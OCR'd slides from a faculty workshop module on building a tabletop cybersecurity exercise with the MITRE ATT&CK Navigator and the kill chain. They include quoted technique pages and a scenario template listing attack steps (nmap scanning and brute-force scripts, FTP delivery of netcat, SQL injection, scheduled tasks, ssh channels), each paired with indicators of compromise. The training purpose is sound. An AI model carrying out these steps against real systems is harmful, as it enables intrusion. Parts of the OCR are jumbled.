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Gather Victim Host Information (0/4) Gather Victim Identity	Compromise Accounts (0/2)	Exploit Public- Facing Application	Interpreter (0/5) Exploitation for Client Execution	BITS Jobs Boot or Logon Autostart Execution (0/10)	Mechanism (0/1) Access Token Manipulation (0/5)	Me Acc Ma	domain Enterprise			
Information (0/3)	Compromise Infrastructure (0/6)	External Remote Services	Inter-Process Communication (0/2)		Boot or Logon Autostart Execution _(0/10) Boot or Logon	BIT	version 11 e			
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Gather Victim Org Information (0/4)	Establish Accounts (0/2)	Phishing (0/3)	Scheduled Task/Job (0/2)	Browser Extensions	Initialization Scripts (0/2)	File	Links			
Phishing for Information (0/3)	Obtain Capabilities _(0/6)	Replication Through Removable	Shared Modules Software	Compromise Client Software	Create or Modify System Process (0/1)		add links			
Search Closed Sources (0/2)	Stage Capabilities (0/5)	Media	Deployment Tools	Binary	Domain Policy	Exe	cution Ne			

Click here and give this layer a name, e.g.



Select PRE and Windows.


Faculty Development Workshop Module 6: Tabletop Exercise on Scenario Building

For this tabletop exercise, you are required to build a cybersecurity scenario utilizing the following steps:

1. Use the ATT&CK Navigator

Open the URL: https://mitre-attack.github.io/attack-navigator/

Apply the platform filters PRE and Windows.



2. Apply Lockheed Martin's Kill Chain

For each of the following kill chain segment, select a particular technique.


A. Reconnaissance

Technique-

- Adversary chooses and researches target; attempts to identify system vulnerabilities of target

Go through these techniques S 🖸 🚯 8 🖸 S 📥 🚳 🗰 😵 🕅 🕅 🚱 🖉 🚳 8 🖸 📶 🖾 🐨 💷 🐨 🖉 🛅 3 5 6 4 \rightarrow C mitre-attack.github.io/attack-navigator/ Apps ★ Bookmarks 📀 😘 chandrakantha.com... 🛐 Facebook Group N... 🌌 😭 Alexander Street Pr... 📒 Saved Tabs 🛛 PQ Basic Search - ProC Imported layer + selection controls laver controls B. ± Ⅲ Ø =. 1 B Q X Resource Privilege Crede Reconnaissance Development Initial Access Execution Persistence Escalation Defense Evasion Acce 10 techniques 34 techniques 10 technique 7 techniques 9 techniques 18 techniques 13 techniques 15 techr Active Scanning (T1595) Command and Abuse Elevation Abuse Elevation Active Scanning -by Account Adversary promise Scripting Manipulation Control Control the-Midd Gather Victim Host Interpreter (0/5) Mechanism (art Mechanism Information (0/4) Exploit Public-**BITS** Jobs Compromise Brute Accounts (0/2) Facing Exploitation for Access Token Access Token Force (0/4) Manipulation (0/5) Gather Victim Identity Application **Client Execution** Boot or Logon Manipulation . Information (0/3) Compromise Autostart Credential Execution (0/10) Infrastructure ma External Remote Inter-Process **BITS Jobs** from Pass Boot or Logon Stores (0/3) Gather Victim Communication (n/2 Services Autostart Network Develop Boot or Logon Execution man **Debugger Evasion** Information (0/6) Capabilities (0/4) Native API Initialization Exploitatic Hardware Additions Scripts (0/2) Boot or Logon Deobfuscate/Decode for Creder Gather Victim Org Establish Scheduled Initialization Files or Information Access Information (0/4) Phishing (0/3) Accounts (0/2) Task/Job 10/2 Browser Scripts (0/2) Extensions Direct Volume Access Forced

Here we are developing an attacker scenario. It is just about attack, attack, attack. We are emulating the attacker. The attacker leaves some indicators of the attack. The students have to figure out how to find out those Indicators and trace what happened during the attack. (indicators of compromise)





https://attack.mitre.org/techniques/T1595/


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MITRE ATT&CK°	Matrices	Tactics -	Techniques 🝷	Data Sources	Mitigations -	Groups	Software	Resources	Blog 🖓	Contribute	Search C	
The new v11.2 release of	of MITRE A	TT&CK contain	s a beta version o	f Sub-Techniques f	or Mobile. The cu	rrent, stable I	Mobile conten	t can be access	ed via the v10	release URL.		
TECHNIQUES		Home > Tecl	hniques > Enterpris	se > Active Scannin	g							
Active Scanning	^ ^											
Scanning IP Blocks	1.1	Active Scanning										
Vulnerability Scanning		Sub-techniques (3)						~				
Wordlist Scanning		Sub-lec	ninques (3)					•	ID: T1595			
Gather Victim Host Information	~	Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. ① Tactic: Reconnaissance ① Platforms: PRE									,	
Gather Victim Identity Information	~											
Gather Victim Network Information	~									RE		
Gather Victim Org Information	Adversaries may perform different forms of active scanning depending on what information they Version: 1.0											
Phishing for Information	~	seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP. ^{[1][2]} Information from these scans may reveal opportunities for							Created: 02 October 2020			
Search Closed Sources	~	other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Last Modified: 08 March 20 Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), Version Permalink								d: 08 March 202	22	
Search Open Technical Databases	~									sion Permalink		
Search Open Websites/Domains	~	and/or initial	access (ex: Exter	nal Remote Servic	es or Exploit Publi	c-Facing App	lication).					
Search Victim-Owned Websites		N 1:+: or or	tione									
Resource Development	~	Mitiga	lions									

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TECHNIQUES		ID	Name	Description				
Enterprise		G0007	APT28	APT28 has performed large-scale scans in an attempt to find vulnerable servers. ^[2]				
Reconnaissance Active Scanning	^	G0016	APT29	APT29 has conducted widespread scanning of target environments to identify vulnerabilities for exploit. ^[3]				
Scanning IP Blocks Vulnerability Scanning		G0143	Aquatic Panda	Aquatic Panda has used publicly accessible DNS logging services to identify servers vulnerable to Log4j (CVE 2021- 44228). ^[4]				
Wordlist Scanning		G0035	Dragonfly	Dragonfly has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services. ^[5]				
Gather Victim Host Information Gather Victim Identity Information	* *	G0059	Magic Hound	Magic Hound has conducted widespread scanning to identify public-facing systems vulnerable to Log4j (CVE-2021-44228). ^[6]				
Gather Victim Network Information Gather Victim Org Information	~ ~	G0034	Sandworm Team	Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning. ^[7]				
Phishing for Information Search Closed Sources	~	G0139	TeamTNT	TeamTNT has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API. ^[8]				
Search Open Technical Databases	~	G0123	Volatile Cedar	Volatile Cedar has performed vulnerability scans of the target server. ^{[9][10]}				

https://www.youtube.com/watch?v=pcclNdwG8Vs








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I have one layer called the dragonfly_layer





I decided to create another layer, APT28_layer. Use the + sign here. The layer is now colored in red.


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Then create your score expression: a+b

domain *

Enterprise ATT&CK v11

Choose the domain and version for the new layer. Only layers of the same domain and version can be merged.

score expression

a+b

Use constants (numbers) and layer variables (yellow, above) to write an expression for the initial value of scores in the new layer. A full list of supported operations can be found <u>here</u>. Leave blank to initialize scores to 0. Here's a list of available layer variables:



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	links	•	Choose which layer to import technique links from. Leave blank to initialize without links.	
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You get this for APT28 and dragonfly.

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A template to conduct the analysis


	А	В	С	D	E	F	G	н	1	J	к	L
			Kill Chain		Delivery					Indicators of	Expected	
1	Date	Time	Stage	Technique	Method	Target	Title	Description	Assumptions	Compromise	Actions	Measure of Performance
2	1/1/2021	0600H	Recon	Active Scanning (T1595)	nmap	Linux clientsIP Range XX.XX.XX.XX/2 4	Network scan	Network scanning of IP range on specific port of known services	access to local network	Packet capture files	Packet capture must be made in sync with recon	Accurate analysis of recon activity using IoC
3	1/1/2021	0645H	Weapon	Brute Force (T1110)	nmap	Linux clientsIP Range XX.XX.XX.XX/2 5	Password Auditing	Use nmap with scripts ftp-brute and http-auth	access to local network	Packet capture files	Packet capture must be made in sync with recon	Accurate analysis of password audting and authorization scheme activity using IoC
4	1/2/2021	0330H	Delivery	External Remote Services (T1133)	ftp	Linux clientsIP Range XX.XX.XX.XX/2 6	FTP service to deliver malicious file	Use the FTP service to deliver malivious executable file (netcat)	FTP service available on client machine	FTP and web browsing log files	Preserve and analyze loCs (log files)	Accurate analysis of IoCs (log files)
5	1/3/2021	0200H	Exploitation	Server Software Component (T1505)	SQL Injection	Linux DB server serving SQL	SQL Injection to exploit vulnerable DB Server	Classic SQL	mySQL DB service running on client	DBMS log file	Preserve and analyze loCs (log files)	Accurate analysis of IoCs (log files)
6	1/3/2021	1400H	Installation	Scheduled Task/Job (T1053)	N/A	Compromised client machine	Scheduled task installation	Scheduled task created on compromised client	Compromised client accessible	Scheduled task	discover job on task scheduler	Successful discovery and analysis of scheduled task
7	1/4/2021	0300H	Command & Control	Encrypted Channel (T1573)	ssh	Compromised client machine	Encrypted data transmission	Encrypted data transmission using ssh	ssh available on compromised client	Security log files	discovery of data transmission using log files	Successful discovery and analysis of security log files


See next slide for an expanded view

First row of the spreadsheet

	Α	В	С	D	E	F
1	Date	Time	Kill Chain Stage	Technique	Delivery Method	Target
2	1/1/2021	0600H	Recon	Active Scanning (T1595)	nmap	Linux clientsIP Range XX.XX.XX.XX/24

G Title	Description		Assumptions	Indicators of Compromise		
Network scan	range c	rk scanning of IP on specific port of own services	access to local network	Packet capture files		
К			L			
Expected Actior	າຣ	Measure of Performance				
Packet capture mus made in sync with re		Accurate ana	lysis of recon activit	y using loC		





The new v11.2 release of MITRE ATT&CK contains a beta version of Sub-Techniques for Mobile. The current, stable Mobile content cathe accessed via the v10 release URL.

TECHNIQUES

Network Sniffing							
OS Credential Dumping							
Steal Application Access Token							
Steal or Forge Kerberos Tickets							
Steal Web Session Cookie							
Unsecured Credentials							
Discovery							
_ateral Movement							
Collection							
Command and Control							

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Home > Techniques > Enterprise > Network Sniffing

Network Sniffing


Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

ID: T1040

Sub-techniques: No sub-techniques

- (i) Tactics: Credential Access, Discovery
- Platforms: IaaS, Linux, Network, Windows, macOS
- System Requirements: Network interface access and packet capture driver
- (i) CAPEC ID: CAPEC-158
 - Contributore: Olea Kolesnikov



Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Mobile 100

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.

Created: 17 October 2018


Last Modified: 19 July 2019

Version Permalink

Techniques

Techniques: 16

ID	Name	Description
T1557	Adversary-in-the- Middle	Adversaries may attempt to position themselves between two or more networked devices using an adversary-in- the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled




They are continuously changing and improving nmap

Keeping up to date: Read this annual report

https://www.verizon.com/business/resources/reports/dbir/




2023-data-breach-investigations-report-dbir.pdf




Ransomware continues its reign as one of the top Action types present in breaches, and while it did not actually grow, it did hold statistically steady at 24%. Ransomware is ubiquitous among organizations of all sizes and in all industries.

Figure 8. Ransomware action variety over time



https://www.techtarget.com/whatis/feature/Log4j-explained-Everything-you-need-to-know



What is the Log4j exploit?

Log4j didn't get much attention until December 2021, when a series of critical vulnerabilities were publicly disclosed.

The Log4j exploit began as a single vulnerability, but it became a series of issues involving Log4j and the Java Naming and Directory Interface (JNDI) interface, which is the root cause of the exploit.

CVE-2021-44228

The initial vulnerability in Log4j is known as CVE-2021-44228. It was first reported to the Apache Software Foundation by Chen Zhaojun of Alibaba Cloud Security Team on Nov. 24, 2021. The Log4j development team had a fix for the issue by Dec. 6, but the project didn't publicly disclose the presence of a high-impact security flaw.

1. Why the urgency to mitigate and remediate Log4j vulnerability? It is critical that organisations take immediate actions to identify systems with the <u>Apache Log4j vulnerability</u>, implement mitigation measures, continually monitor, and remediate them. The initial Apache Log4j vulnerability on 9 Dec 2021, which was assigned a maximum CVSS (common vulnerability scoring system) score of 10, led to massive reconnaissance and exploitation activity by threat actors leveraging the bug.

The wide use of the Apache Log4j framework in many software applications and services, coupled with the ease of exploit, has led to many successful exploits such as <u>data exfiltration</u>, malware injects, botnets and <u>ransomware deployments</u>.

Conclusion

- The Mitre att&ck framework is a powerful tool to capture the techniques used for cyberattacks
- The tool is regularly updated and allows users to examine patterns used in different attacks
- Organizations need to be prepared to keep their systems secure. The tool assists in modeling and analysis
- Along with the Verizon Data Breach Report that is issued annually, organizations can stay in a constant state of alert as the threat landscape is continuously changing